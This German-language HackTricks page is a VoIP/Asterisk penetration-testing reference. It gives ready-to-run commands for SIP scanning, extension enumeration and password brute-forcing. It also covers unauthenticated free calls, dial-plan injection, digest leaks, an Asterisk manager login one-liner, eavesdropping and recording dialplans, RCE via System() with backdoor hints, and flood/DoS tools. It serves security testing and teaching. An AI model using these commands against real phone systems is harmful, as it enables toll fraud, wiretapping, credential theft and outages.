34 KiB
Pentesting VoIP
Lernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!
Andere Möglichkeiten, HackTricks zu unterstützen:
- Wenn Sie Ihr Unternehmen in HackTricks bewerben möchten oder HackTricks als PDF herunterladen möchten, überprüfen Sie die ABONNEMENTPLÄNE!
- Holen Sie sich das offizielle PEASS & HackTricks-Merchandise
- Entdecken Sie The PEASS Family, unsere Sammlung exklusiver NFTs
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @carlospolopm.
- Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repositories senden.
VoIP Grundlegende Informationen
Um mehr über die Funktionsweise von VoIP zu erfahren, überprüfen Sie:
{% content-ref url="basic-voip-protocols/" %} basic-voip-protocols {% endcontent-ref %}
VoIP Enumeration
Telefonnummern
Einer der ersten Schritte, den ein Red Team unternehmen könnte, besteht darin, verfügbare Telefonnummern zu suchen, um mit dem Unternehmen Kontakt aufzunehmen. Hierfür können OSINT-Tools, Google-Suchen oder das Scrapen von Webseiten verwendet werden.
Sobald Sie die Telefonnummern haben, können Sie Online-Dienste verwenden, um den Betreiber zu identifizieren:
- https://www.numberingplans.com/?page=analysis&sub=phonenr
- https://mobilenumbertracker.com/
- https://www.whitepages.com/
- https://www.twilio.com/lookup
Wenn Sie wissen, ob der Betreiber VoIP-Dienste anbietet, können Sie feststellen, ob das Unternehmen VoIP verwendet... Darüber hinaus ist es möglich, dass das Unternehmen keine VoIP-Dienste in Anspruch genommen hat, sondern PSTN-Karten verwendet, um seine eigene VoIP-PBX mit dem herkömmlichen Telefonnetz zu verbinden.
Dinge wie automatisierte Musikantworten deuten in der Regel darauf hin, dass VoIP verwendet wird.
Google Dorks
# Grandstream phones
intitle:"Grandstream Device Configuration" Password
intitle:"Grandstream Device Configuration" (intext:password & intext:"Grandstream Device Configuration" & intext:"Grandstream Networks" | inurl:cgi-bin) -.com|org
# Cisco Callmanager
inurl:"ccmuser/logon.asp"
intitle:"Cisco CallManager User Options Log On" "Please enter your User ID and Password in the spaces provided below and click the Log On button"
# Cisco phones
inurl:"NetworkConfiguration" cisco
# Linksys phones
intitle:"Sipura SPA Configuration"
# Snom phones
intitle:"snom" intext:"Welcome to Your Phone!" inurl:line_login.htm
# Polycom SoundPoint IP & phones
intitle:"SoundPoint IP Configuration Utility - Registration"
"Welcome to Polycom Web Configuration Utility" "Login as" "Password"
intext: "Welcome to Polycom Web Configuration Utility" intitle:"Polycom - Configuration Utility" inurl:"coreConf.htm"
intitle:"Polycom Login" inurl:"/login.html"
intitle:"Polycom Login" -.com
# Elastix
intitle:"Elastix - Login page" intext:"Elastix is licensed under GPL"
# FreePBX
inurl:"maint/index.php?FreePBX" intitle: "FreePBX" intext:"FreePBX Admministration"
OSINT-Informationen
Jede andere OSINT-Untersuchung, die hilft, die verwendete VoIP-Software zu identifizieren, ist für ein Red Team hilfreich.
Netzwerk-Enumeration
nmap
ist in der Lage, UDP-Dienste zu scannen, aber aufgrund der Anzahl der gescannten UDP-Dienste ist es sehr langsam und möglicherweise nicht sehr genau bei dieser Art von Diensten.svmap
von SIPVicious (sudo apt install sipvicious
): Ermittelt SIP-Dienste im angegebenen Netzwerk.svmap
ist leicht zu blockieren, da es den User-Agentfriendly-scanner
verwendet, aber Sie könnten den Code von/usr/share/sipvicious/sipvicious
ändern.
# Use --fp to fingerprint the services
svmap 10.10.0.0/24 -p 5060-5070 [--fp]
sipscan.py
von sippts: Sipscan ist ein sehr schneller Scanner für SIP-Dienste über UDP, TCP oder TLS. Er verwendet Multithreading und kann große Netzwerkbereiche scannen. Es ermöglicht das einfache Angeben eines Portbereichs, das Scannen von TCP & UDP, die Verwendung einer anderen Methode (standardmäßig wird OPTIONS verwendet) und das Angeben eines anderen User-Agents (und mehr).
./sipscan.py -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER]
[!] IP/Network: 10.10.0.0/24
[!] Port range: 5060-5080
[!] Protocol: UDP, TCP, TLS
[!] Method to scan: REGISTER
[!] Customized User-Agent: Cisco
[!] Used threads: 200
- metasploit:
Metasploit ist ein leistungsstarkes Framework für Penetrationstests und Exploit-Entwicklung. Es bietet eine umfangreiche Sammlung von Exploits, Payloads, Tools und Modulen, die von Sicherheitsforschern und Penetrationstestern verwendet werden können, um Schwachstellen in Netzwerken, Betriebssystemen, Anwendungen und anderen Zielen zu identifizieren und auszunutzen. Metasploit ermöglicht es Benutzern, Angriffe zu automatisieren, Schwachstellen zu analysieren und Sicherheitslücken zu schließen. Es ist ein unverzichtbares Werkzeug für jeden, der in der IT-Sicherheit tätig ist.
auxiliary/scanner/sip/options_tcp normal No SIP Endpoint Scanner (TCP)
auxiliary/scanner/sip/options normal No SIP Endpoint Scanner (UDP)
Zusätzliche Netzwerk-Enumeration
Die PBX könnte auch andere Netzwerkdienste freigeben, wie zum Beispiel:
- 69/UDP (TFTP): Firmware-Updates
- 80 (HTTP) / 443 (HTTPS): Zur Verwaltung des Geräts über das Web
- 389 (LDAP): Alternative zur Speicherung von Benutzerinformationen
- 3306 (MySQL): MySQL-Datenbank
- 5038 (Manager): Ermöglicht die Verwendung von Asterisk von anderen Plattformen aus
- 5222 (XMPP): Nachrichten mit Jabber
- 5432 (PostgreSQL): PostgreSQL-Datenbank
- Und andere...
Methoden-Enumeration
Es ist möglich, herauszufinden, welche Methoden in der PBX verwendet werden können, indem man sipenumerate.py
aus sippts verwendet.
python3 sipenumerate.py -i 10.10.0.10 -r 5080
Erweiterungsermittlung
Erweiterungen in einem PBX (Private Branch Exchange)-System beziehen sich auf die eindeutigen internen Bezeichner, die einzelnen Telefonleitungen, Geräten oder Benutzern innerhalb einer Organisation oder eines Unternehmens zugewiesen werden. Erweiterungen ermöglichen es, Anrufe innerhalb der Organisation effizient zu leiten, ohne dass für jeden Benutzer oder jedes Gerät individuelle externe Telefonnummern erforderlich sind.
svwar
von SIPVicious (sudo apt install sipvicious
):svwar
ist ein kostenloser SIP PBX-Erweiterungsscanner. Konzeptuell funktioniert es ähnlich wie herkömmliche Wardialer, indem es eine Reihe von Erweiterungen oder eine gegebene Liste von Erweiterungen errät.
svwar 10.10.0.10 -p5060 -e100-300 -m REGISTER
sipextend.py
von sippts: Sipexten identifiziert Erweiterungen auf einem SIP-Server. Sipexten kann große Netzwerk- und Portbereiche überprüfen.
python3 sipexten.py -i 10.10.0.10 -r 5080 -e 100-200
- metasploit: Sie können auch Erweiterungen/Benutzernamen mit Metasploit aufzählen:
auxiliary/scanner/sip/enumerator_tcp normal No SIP Username Enumerator (TCP)
auxiliary/scanner/sip/enumerator normal No SIP Username Enumerator (UDP)
enumiax
(apt install enumiax
): enumIAX ist ein Werkzeug zur Brute-Force-Enumeration von Benutzernamen für das Inter Asterisk Exchange-Protokoll. enumIAX kann in zwei verschiedenen Modi arbeiten: sequenzielles Raten von Benutzernamen oder Wörterbuchangriff.
enumiax -d /usr/share/wordlists/metasploit/unix_users.txt 10.10.0.10 # Use dictionary
enumiax -v -m3 -M3 10.10.0.10
VoIP-Angriffe
Passwort-Brute-Force
Nachdem das PBX und einige Erweiterungen/Benutzernamen entdeckt wurden, könnte ein Red Team versuchen, sich über die Methode REGISTER
bei einer Erweiterung mit einem Wörterbuch gängiger Passwörter anzumelden, um die Authentifizierung per Brute-Force zu erzwingen.
{% hint style="danger" %} Beachten Sie, dass ein Benutzername mit der Erweiterung identisch sein kann, aber diese Praxis kann je nach PBX-System, seiner Konfiguration und den Vorlieben der Organisation variieren...
Wenn der Benutzername nicht mit der Erweiterung identisch ist, müssen Sie den Benutzernamen herausfinden, um ihn per Brute-Force zu erzwingen. {% endhint %}
svcrack
von SIPVicious (sudo apt install sipvicious
): SVCrack ermöglicht es Ihnen, das Passwort für einen bestimmten Benutzernamen/Erweiterung auf einem PBX zu knacken.
svcrack -u100 -d dictionary.txt udp://10.0.0.1:5080 #Crack known username
svcrack -u100 -r1-9999 -z4 10.0.0.1 #Check username in extensions
sipcrack.py
von sippts: SIP Digest Crack ist ein Tool zum Knacken von Digest-Authentifizierungen im SIP-Protokoll.
{% code overflow="wrap" %}
python3 siprcrack.py -i 10.10.0.10 -r 5080 -e 100,101,103-105 -w wordlist/rockyou.txt
{% endcode %}
- Metasploit:
- https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack.rb
- https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack_tcp.rb
VoIP Sniffing
Wenn Sie VoIP-Geräte in einem offenen WLAN-Netzwerk finden, können Sie alle Informationen abfangen. Darüber hinaus können Sie, wenn Sie sich in einem geschlosseneren Netzwerk befinden (über Ethernet verbunden oder durch geschütztes WLAN), MitM-Angriffe wie ARP-Spoofing zwischen der PBX und dem Gateway durchführen, um die Informationen abzufangen.
Unter den Netzwerkinformationen können Sie Web-Anmeldeinformationen zum Verwalten der Geräte, Benutzer-Erweiterungen, Benutzernamen, IP-Adressen, sogar gehashte Passwörter und RTP-Pakete finden, die Sie reproduzieren können, um das Gespräch zu hören, und mehr.
Um diese Informationen zu erhalten, können Sie Tools wie Wireshark, tcpdump... verwenden, aber ein speziell entwickeltes Tool zum Abhören von VoIP-Gesprächen ist ucsniff.
{% hint style="danger" %}
Beachten Sie, dass Sie, wenn TLS in der SIP-Kommunikation verwendet wird, die SIP-Kommunikation nicht im Klartext sehen können.
Das Gleiche gilt, wenn SRTP und ZRTP verwendet werden, RTP-Pakete werden nicht im Klartext übertragen.
{% endhint %}
SIP-Anmeldeinformationen
Überprüfen Sie dieses Beispiel, um eine SIP REGISTER-Kommunikation besser zu verstehen, um zu erfahren, wie Anmeldeinformationen gesendet werden.
sipdump
&sipcrack
, Teil von sipcrack (apt-get install sipcrack
): Diese Tools können aus einem pcap die Digest-Authentifizierungen im SIP-Protokoll extrahieren und sie bruteforcen.
sipdump -p net-capture.pcap sip-creds.txt
sipcrack sip-creds.txt -w dict.txt
siptshar.py
,sipdump.py
,sipcrack.py
von sippts:- SipTshark extrahiert Daten des SIP-Protokolls aus einer PCAP-Datei.
- SipDump extrahiert SIP-Digest-Authentifizierungen aus einer PCAP-Datei.
- SIP Digest Crack ist ein Tool zum Knacken von Digest-Authentifizierungen im SIP-Protokoll.
python3 siptshark.py -f captura3.pcap [-filter auth]
python3 sipdump.py -f captura3.pcap -o data.txt
python3 sipcrack.py -f data.txt -w wordlist/rockyou.txt
DTMF-Codes
Nicht nur SIP-Anmeldeinformationen können im Netzwerkverkehr gefunden werden, es ist auch möglich, DTMF-Codes zu finden, die beispielsweise zum Zugriff auf die Voicemail verwendet werden.
Es ist möglich, diese Codes in INFO-SIP-Nachrichten, in Audio oder innerhalb von RTP-Paketen zu senden. Wenn die Codes in RTP-Paketen enthalten sind, können Sie diesen Teil des Gesprächs ausschneiden und das Tool multimo verwenden, um sie zu extrahieren:
multimon -a DTMF -t wac pin.wav
Kostenlose Anrufe / Fehlkonfigurationen von Asterisk-Verbindungen
In Asterisk ist es möglich, eine Verbindung von einer bestimmten IP-Adresse oder von beliebigen IP-Adressen zuzulassen:
host=10.10.10.10
host=dynamic
Wenn eine IP-Adresse angegeben ist, muss der Host nicht regelmäßig REGISTER-Anfragen senden (im REGISTER-Paket wird die Time-to-Live angegeben, normalerweise 30 Minuten, was bedeutet, dass das Telefon in anderen Szenarien alle 30 Minuten REGISTER senden muss). Es müssen jedoch offene Ports vorhanden sein, die Verbindungen vom VoIP-Server zulassen, um Anrufe entgegenzunehmen.
Benutzer können wie folgt definiert werden:
type=user
: Der Benutzer kann nur Anrufe als Benutzer empfangen.type=friend
: Es ist möglich, Anrufe als Peer durchzuführen und sie als Benutzer zu empfangen (wird mit Erweiterungen verwendet).type=peer
: Es ist möglich, Anrufe als Peer zu senden und zu empfangen (SIP-Trunks).
Es ist auch möglich, Vertrauen mit der unsicheren Variable herzustellen:
insecure=port
: Erlaubt Peer-Verbindungen, die durch IP validiert werden.insecure=invite
: Erfordert keine Authentifizierung für INVITE-Nachrichten.insecure=port,invite
: Beides.
{% hint style="warning" %}
Wenn type=friend
verwendet wird, wird der Wert der host-Variable nicht verwendet. Wenn ein Administrator einen SIP-Trunk mit diesem Wert falsch konfiguriert, kann jeder darauf zugreifen.
Beispiel für eine verwundbare Konfiguration:
host=10.10.10.10
insecure=port,invite
type=friend
{% endhint %}
Kostenlose Anrufe / Fehlkonfigurationen des Asterisk-Kontexts
In Asterisk ist ein Kontext ein benannter Container oder Abschnitt im Dialplan, der zusammengehörige Erweiterungen, Aktionen und Regeln gruppiert. Der Dialplan ist die Kernkomponente eines Asterisk-Systems, da er definiert, wie eingehende und ausgehende Anrufe behandelt und geroutet werden. Kontexte werden verwendet, um den Dialplan zu organisieren, den Zugriff zu steuern und eine Trennung zwischen verschiedenen Teilen des Systems bereitzustellen.
Jeder Kontext wird in der Konfigurationsdatei definiert, normalerweise in der Datei extensions.conf
. Kontexte werden durch eckige Klammern gekennzeichnet, wobei der Kontextname darin eingeschlossen ist. Zum Beispiel:
csharpCopy code[my_context]
Im Kontext definieren Sie Erweiterungen (Muster von gewählten Nummern) und ordnen ihnen eine Reihe von Aktionen oder Anwendungen zu. Diese Aktionen bestimmen, wie der Anruf verarbeitet wird. Zum Beispiel:
[my_context]
exten => 100,1,Answer()
exten => 100,n,Playback(welcome)
exten => 100,n,Hangup()
Dieses Beispiel zeigt einen einfachen Kontext namens "my_context" mit einer Erweiterung "100". Wenn jemand die Nummer 100 wählt, wird der Anruf entgegengenommen, eine Begrüßungsnachricht wird abgespielt und dann wird der Anruf beendet.
Dies ist ein weiterer Kontext, der es ermöglicht, eine beliebige andere Nummer anzurufen:
[external]
exten => _X.,1,Dial(SIP/trunk/${EXTEN})
Wenn der Administrator den Standardkontext wie folgt definiert:
[default]
include => my_context
include => external
{% hint style="warning" %} Jeder kann den Server verwenden, um eine Verbindung zu einer beliebigen anderen Nummer herzustellen (und der Serveradministrator bezahlt für den Anruf). {% endhint %}
{% hint style="danger" %}
Darüber hinaus enthält die sip.conf
-Datei standardmäßig allowguest=true
, sodass jeder Angreifer ohne Authentifizierung eine Verbindung zu einer beliebigen anderen Nummer herstellen kann.
{% endhint %}
sipinvite.py
von sippts: Sipinvite überprüft, ob ein PBX-Server uns erlaubt, Anrufe ohne Authentifizierung durchzuführen. Wenn der SIP-Server eine falsche Konfiguration hat, erlaubt er uns, Anrufe zu externen Nummern zu tätigen. Es kann uns auch erlauben, den Anruf an eine zweite externe Nummer weiterzuleiten.
Wenn zum Beispiel Ihr Asterisk-Server eine schlechte Kontextkonfiguration hat, können Sie INVITE-Anfragen ohne Autorisierung akzeptieren. In diesem Fall kann ein Angreifer Anrufe tätigen, ohne Benutzername und Passwort zu kennen.
{% code overflow="wrap" %}
# Trying to make a call to the number 555555555 (without auth) with source number 200.
python3 sipinvite.py -i 10.10.0.10 -fu 200 -tu 555555555 -v
# Trying to make a call to the number 555555555 (without auth) and transfer it to number 444444444.
python3 sipinvite.py -i 10.10.0.10 -tu 555555555 -t 444444444
{% endcode %}
Kostenlose Anrufe / Fehlkonfigurierte IVRS
IVRS steht für Interactive Voice Response System, eine Telefontechnologie, die es Benutzern ermöglicht, mit einem computergesteuerten System über Sprach- oder Tonwahl-Eingaben zu interagieren. IVRS wird verwendet, um automatisierte Anrufbearbeitungs-Systeme aufzubauen, die eine Reihe von Funktionen bieten, wie z.B. Informationen bereitstellen, Anrufe weiterleiten und Benutzereingaben erfassen.
IVRS in VoIP-Systemen besteht typischerweise aus:
- Sprachansagen: Vorab aufgezeichnete Audio-Nachrichten, die Benutzer durch die IVR-Menüoptionen und Anweisungen führen.
- DTMF (Dual-Tone Multi-Frequency) Signalisierung: Tonwahl-Eingaben, die durch Drücken von Tasten am Telefon erzeugt werden und zur Navigation durch die IVR-Menüs und zur Eingabe verwendet werden.
- Anrufweiterleitung: Weiterleitung von Anrufen an das entsprechende Ziel, wie z.B. bestimmte Abteilungen, Agenten oder Erweiterungen basierend auf Benutzereingaben.
- Erfassung von Benutzereingaben: Erfassung von Informationen von Anrufern, wie z.B. Kontonummern, Fall-IDs oder anderen relevanten Daten.
- Integration mit externen Systemen: Verbindung des IVR-Systems mit Datenbanken oder anderen Software-Systemen, um Informationen abzurufen oder zu aktualisieren, Aktionen durchzuführen oder Ereignisse auszulösen.
In einem Asterisk VoIP-System können Sie eine IVR mit Hilfe des Wählplans (extensions.conf
-Datei) und verschiedenen Anwendungen wie Background()
, Playback()
, Read()
und mehr erstellen. Diese Anwendungen helfen Ihnen dabei, Sprachansagen abzuspielen, Benutzereingaben zu erfassen und den Anruffluss zu steuern.
Beispiel für eine verwundbare Konfiguration
exten => 0,100,Read(numbers,the_call,,,,5)
exten => 0,101,GotoIf("$[${numbers}"="1"]?200)
exten => 0,102,GotoIf("$[${numbers}"="2"]?300)
exten => 0,103,GotoIf("$[${numbers}"=""]?100)
exten => 0,104,Dial(LOCAL/${numbers})
Das vorherige Beispiel zeigt, wie der Benutzer aufgefordert wird, 1 zu drücken, um eine Abteilung anzurufen, 2, um eine andere Abteilung anzurufen, oder die vollständige Durchwahl, wenn er sie kennt.
Die Schwachstelle besteht darin, dass die angegebene Durchwahl-Länge nicht überprüft wird, sodass ein Benutzer eine vollständige Nummer eingeben kann und diese angerufen wird.
Durchwahl-Injection
Verwendung einer Durchwahl wie:
exten => _X.,1,Dial(SIP/${EXTEN})
Wo ${EXTEN}
die Erweiterung ist, die angerufen wird, wenn die Erweiterung 101 eingegeben wird, würde Folgendes passieren:
exten => 101,1,Dial(SIP/101)
Jedoch, wenn ${EXTEN}
es erlaubt, mehr als nur Zahlen einzugeben (wie in älteren Asterisk-Versionen), könnte ein Angreifer 101&SIP123123123
eingeben, um die Telefonnummer 123123123 anzurufen. Und das wäre das Ergebnis:
exten => 101&SIP123123123,1,Dial(SIP/101&SIP123123123)
Daher wird ein Anruf an die Erweiterung 101
und 123123123
gesendet und nur der erste Anruf wird hergestellt... aber wenn ein Angreifer eine Erweiterung verwendet, die jede durchgeführte Übereinstimmung umgeht, aber nicht existiert, könnte er einen Anruf nur an die gewünschte Nummer einschleusen.
SIPDigestLeak
Die SIP Digest Leak ist eine Schwachstelle, die eine große Anzahl von SIP-Telefonen betrifft, einschließlich Hardware- und Software-IP-Telefonen sowie Telefonadaptern (VoIP zu Analog). Die Schwachstelle ermöglicht das Lecken der Digest-Authentifizierungsantwort, die aus dem Passwort berechnet wird. Ein Offline-Passwortangriff ist dann möglich und kann die meisten Passwörter anhand der Challenge-Response wiederherstellen.
**Szenario der Schwachstelle hier**:
- Ein IP-Telefon (Opfer) hört auf Port 5060 und akzeptiert Telefonanrufe.
- Der Angreifer sendet ein INVITE an das IP-Telefon.
- Das Opfer-Telefon beginnt zu klingeln und jemand nimmt ab und legt auf (weil niemand am anderen Ende das Telefon abnimmt).
- Wenn das Telefon aufgelegt wird, sendet das Opfer-Telefon ein BYE an den Angreifer.
- Der Angreifer gibt eine 407-Antwort aus, die nach Authentifizierung fragt und eine Authentifizierungsherausforderung ausgibt.
- Das Opfer-Telefon gibt eine Antwort auf die Authentifizierungsherausforderung in einem zweiten BYE.
- Der Angreifer kann dann einen Brute-Force-Angriff auf die Challenge-Response auf seinem lokalen Rechner (oder im verteilten Netzwerk usw.) durchführen und das Passwort erraten.
- sipdigestleak.py von sippts: SipDigestLeak nutzt diese Schwachstelle aus.
python3 sipdigestleak.py -i 10.10.0.10
[!] Target: 10.10.0.10:5060/UDP
[!] Caller: 100
[!] Callee: 100
[=>] Request INVITE
[<=] Response 100 Trying
[<=] Response 180 Ringing
[<=] Response 200 OK
[=>] Request ACK
... waiting for BYE ...
[<=] Received BYE
[=>] Request 407 Proxy Authentication Required
[<=] Received BYE with digest
[=>] Request 200 Ok
Auth=Digest username="pepelux", realm="asterisk", nonce="lcwnqoz0", uri="sip:100@10.10.0.10:56583;transport=UDP", response="31fece0d4ff6fd524c1d4c9482e99bb2", algorithm=MD5
Click2Call
Click2Call ermöglicht es einem Webbenutzer (der zum Beispiel an einem Produkt interessiert sein könnte), seine Telefonnummer einzugeben, um einen Anruf zu erhalten. Dann wird ein Werbeanruf getätigt und wenn der Benutzer den Hörer abnimmt, wird er angerufen und mit dem Agenten verbunden.
Ein gängiges Asterisk-Profil dafür ist:
[web_user]
secret = complex_password
deny = 0.0.0.0/0.0.0.0
allow = 0.0.0.0/0.0.0.0
displayconnects = yes
read = system,call,log,verbose,agent,user,config,dtmf,reporting,crd,diapla
write = system,call,agent,user,config,command,reporting,originate
- Das vorherige Profil erlaubt jede IP-Adresse, eine Verbindung herzustellen (wenn das Passwort bekannt ist).
- Um einen Anruf zu organisieren, wie zuvor angegeben, ist keine Leseberechtigung erforderlich, sondern nur das Recht, auszugehen und zu schreiben.
Mit diesen Berechtigungen könnte sich jede IP-Adresse mit Kenntnis des Passworts verbinden und zu viele Informationen extrahieren, wie zum Beispiel:
{% code overflow="wrap" %}
# Get all the peers
exec 3<>/dev/tcp/10.10.10.10/5038 && echo -e "Action: Login\nUsername:test\nSecret:password\nEvents: off\n\nAction:Command\nCommand: sip show peers\n\nAction: logoff\n\n">&3 && cat <&3
{% endcode %}
Weitere Informationen oder Aktionen können angefordert werden.
Abhören
In Asterisk ist es möglich, den Befehl ChanSpy
zu verwenden, um die zu überwachenden Erweiterungen (oder alle) anzugeben und Gespräche abzuhören. Dieser Befehl muss einer Erweiterung zugewiesen werden.
Zum Beispiel gibt exten => 333,1,ChanSpy('all',qb)
an, dass wenn Sie die Erweiterung 333 anrufen, alle Erweiterungen überwacht werden, und dass das Abhören beginnt, sobald ein neues Gespräch beginnt (b
) und im leisen Modus (q
), da wir nicht damit interagieren möchten. Sie können von einem laufenden Gespräch zum nächsten wechseln, indem Sie *
drücken oder die Erweiterungsnummer markieren.
Es ist auch möglich, ExtenSpy
zu verwenden, um nur eine Erweiterung zu überwachen.
Anstatt die Gespräche anzuhören, können sie auch in Dateien aufgezeichnet werden, indem eine Erweiterung wie folgt verwendet wird:
{% code overflow="wrap" %}
[recorded-context]
exten => _X.,1,Set(NAME=/tmp/${CONTEXT}_${EXTEN}_${CALLERID(num)}_${UNIQUEID}.wav)
exten => _X.,2,MixMonitor(${NAME})
{% endcode %}
Anrufe werden in /tmp
gespeichert.
Sie könnten sogar Asterisk dazu bringen, ein Skript auszuführen, das den Anruf preisgibt, wenn er beendet wird.
exten => h,1,System(/tmp/leak_conv.sh &)
RTCPBleed
RTCPBleed ist ein schwerwiegendes Sicherheitsproblem, das Asterisk-basierte VoIP-Server betrifft (veröffentlicht im Jahr 2017). Die Schwachstelle ermöglicht es, dass RTP (Real Time Protocol) Traffic, der VoIP-Gespräche trägt, von jedem im Internet abgefangen und umgeleitet werden kann. Dies geschieht, weil RTP-Traffic die Authentifizierung umgeht, wenn er durch NAT (Network Address Translation) Firewalls navigiert.
RTP-Proxys versuchen, die NAT-Beschränkungen bei RTC-Systemen zu bewältigen, indem sie RTP-Streams zwischen zwei oder mehr Parteien proxyen. Wenn NAT vorhanden ist, kann die RTP-Proxy-Software oft nicht auf die RTP-IP- und Portinformationen vertrauen, die über die Signalisierung (z. B. SIP) abgerufen werden. Daher haben eine Reihe von RTP-Proxys einen Mechanismus implementiert, bei dem solche IP- und Port-Tupel automatisch erlernt werden. Dies geschieht oft durch Inspektion des eingehenden RTP-Traffics und Markierung der Quell-IP und des Ports für jeden eingehenden RTP-Traffic als diejenigen, auf die geantwortet werden soll. Dieser Mechanismus, der als "Lernmodus" bezeichnet werden kann, verwendet keine Art von Authentifizierung. Daher können Angreifer RTP-Traffic an den RTP-Proxy senden und den für den Anrufer oder Empfänger eines laufenden RTP-Streams bestimmten proxied RTP-Traffic empfangen. Wir nennen diese Schwachstelle RTP Bleed, weil sie es Angreifern ermöglicht, RTP-Mediadatenströme zu empfangen, die für legitime Benutzer bestimmt sind.
Ein weiteres interessantes Verhalten von RTP-Proxys und RTP-Stacks ist, dass sie manchmal, auch wenn sie nicht anfällig für RTP Bleed sind, RTP-Pakete von jeder Quelle akzeptieren, weiterleiten und/oder verarbeiten. Daher können Angreifer RTP-Pakete senden, die es ihnen ermöglichen, ihre Medien anstelle der legitimen einzuspeisen. Wir nennen diesen Angriff RTP-Injection, weil er das Einspeisen von nicht legitimen RTP-Paketen in bestehende RTP-Streams ermöglicht. Diese Schwachstelle kann sowohl in RTP-Proxys als auch in Endpunkten gefunden werden.
Asterisk und FreePBX haben traditionell die NAT=yes
-Einstellung verwendet, die es RTP-Traffic ermöglicht, die Authentifizierung zu umgehen und möglicherweise zu keinem Audio oder einseitigem Audio bei Anrufen führt.
Weitere Informationen finden Sie unter https://www.rtpbleed.com/
rtpbleed.py
von sippts: Es erkennt die RTP Bleed-Schwachstelle durch Senden von RTP-Streams.
python3 rtpbleed.py -i 10.10.0.10
rtcpbleed.py
von sippts: Es erkennt die RTP-Bleed-Schwachstelle, indem es RTP-Streams sendet.
python3 rtcpbleed.py -i 10.10.0.10
rtpbleedflood.py
von sippts: Nutzen Sie die RTP-Bleed-Schwachstelle, um RTP-Streams zu senden.
python3 rtpbleedflood.py -i 10.10.0.10 -p 10070 -v
rtpbleedinject.py
von sippts: Nutzen Sie die RTP Bleed-Schwachstelle, um RTP-Streams (aus einer Audiodatei) zu senden.
python3 rtpbleedinject.py -i 10.10.0.10 -p 10070 -f audio.wav
RCE
In Asterisk gelingt es Ihnen auf irgendeine Weise, Erweiterungsregeln hinzuzufügen und sie neu zu laden (zum Beispiel durch Kompromittierung eines anfälligen Web-Manager-Servers). Es ist möglich, RCE mithilfe des System
-Befehls zu erreichen.
same => n,System(echo "Called at $(date)" >> /tmp/call_log.txt)
Es gibt einen Befehl namens Shell
, der anstelle von System
verwendet werden kann, um bei Bedarf Systembefehle auszuführen.
{% hint style="warning" %}
Wenn der Server die Verwendung bestimmter Zeichen im System
-Befehl verbietet (wie bei Elastix), überprüfen Sie, ob der Webserver das Erstellen von Dateien im System auf irgendeine Weise zulässt (wie bei Elastix oder trixbox), und verwenden Sie es, um ein Backdoor-Skript zu erstellen und dann System
zu verwenden, um dieses Skript auszuführen.
{% endhint %}
Interessante lokale Dateien und Berechtigungen
sip.conf
-> Enthält das Passwort der SIP-Benutzer.- Wenn der Asterisk-Server als Root ausgeführt wird, können Sie Root übernehmen.
- Der MySQL-Root-Benutzer hat möglicherweise kein Passwort.
- Dies kann verwendet werden, um einen neuen MySQL-Benutzer als Backdoor zu erstellen.
FreePBX
amportal.conf
-> Enthält das Passwort des Webpanel-Administrators (FreePBX).FreePBX.conf
-> Enthält das Passwort des Benutzers FreePBXuser, der zum Zugriff auf die Datenbank verwendet wird.- Dies kann verwendet werden, um einen neuen MySQL-Benutzer als Backdoor zu erstellen.
Elastix
Elastix.conf
-> Enthält mehrere Passwörter im Klartext, wie das MySQL-Root-Passwort, das IMAPd-Passwort und das Webadmin-Passwort.- Mehrere Ordner gehören dem kompromittierten Asterisk-Benutzer (wenn er nicht als Root ausgeführt wird). Dieser Benutzer kann auf die zuvor genannten Dateien zugreifen und die Konfiguration steuern. Daher könnte er Asterisk dazu bringen, beim Ausführen andere Backdoor-Binärdateien zu laden.
RTP-Injektion
Es ist möglich, eine .wav
-Datei in Gespräche einzufügen, indem Tools wie rtpinsertsound
(sudo apt install rtpinsertsound
) und rtpmixsound
(sudo apt install rtpmixsound
) verwendet werden.
Alternativ können Sie die Skripte von http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/ verwenden, um Gespräche zu scannen (rtpscan.pl
), eine .wav
an ein Gespräch zu senden (rtpsend.pl
) und Lärm in ein Gespräch einzufügen (rtpflood.pl
).
DoS
Es gibt mehrere Möglichkeiten, einen DoS-Angriff auf VoIP-Server zu versuchen.
sipflood.py
von sippts**: **SipFlood sendet unbegrenzt Nachrichten an das Ziel.python3 sipflood.py -i 10.10.0.10 -r 5080 -m invite -v
- IAXFlooder: DoS-Angriff auf das von Asterisk verwendete IAX-Protokoll.
- inviteflood: Ein Tool zum Durchführen von SIP/SDP INVITE-Nachrichtenflutungen über UDP/IP.
- rtpflood: Senden mehrerer korrekt formatierter RTP-Pakete. Es ist erforderlich, die verwendeten RTP-Ports zu kennen (zuerst sniffen).
- SIPp: Ermöglicht die Analyse und Generierung von SIP-Verkehr. Kann auch für DoS-Angriffe verwendet werden.
- SIPsak: SIP-Schweizer Taschenmesser. Kann ebenfalls für SIP-Angriffe verwendet werden.
- Fuzzer: protos-sip, voiper.
sipsend.py
von sippts: SIPSend ermöglicht das Senden einer angepassten SIP-Nachricht und die Analyse der Antwort.wssend.py
von sippts: WsSend ermöglicht das Senden einer angepassten SIP-Nachricht über WebSockets und die Analyse der Antwort.
OS-Schwachstellen
Der einfachste Weg, eine Software wie Asterisk zu installieren, besteht darin, eine OS-Distribution herunterzuladen, bei der sie bereits installiert ist, z. B. FreePBX, Elastix, Trixbox... Das Problem dabei ist, dass Sysadmins, sobald es funktioniert, möglicherweise keine Updates mehr durchführen und im Laufe der Zeit Schwachstellen entdeckt werden.
Referenzen
- https://github.com/Pepelux/sippts/wiki
- http://blog.pepelux.org/
- https://www.rtpbleed.com/
- https://medium.com/vartai-security/practical-voip-penetration-testing-a1791602e1b4
- https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf
Lernen Sie das Hacken von AWS von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!
Andere Möglichkeiten, HackTricks zu unterstützen:
- Wenn Sie Ihr Unternehmen in HackTricks bewerben möchten oder HackTricks als PDF herunterladen möchten, überprüfen Sie die ABONNEMENTPLÄNE!
- Holen Sie sich das offizielle PEASS & HackTricks-Merch
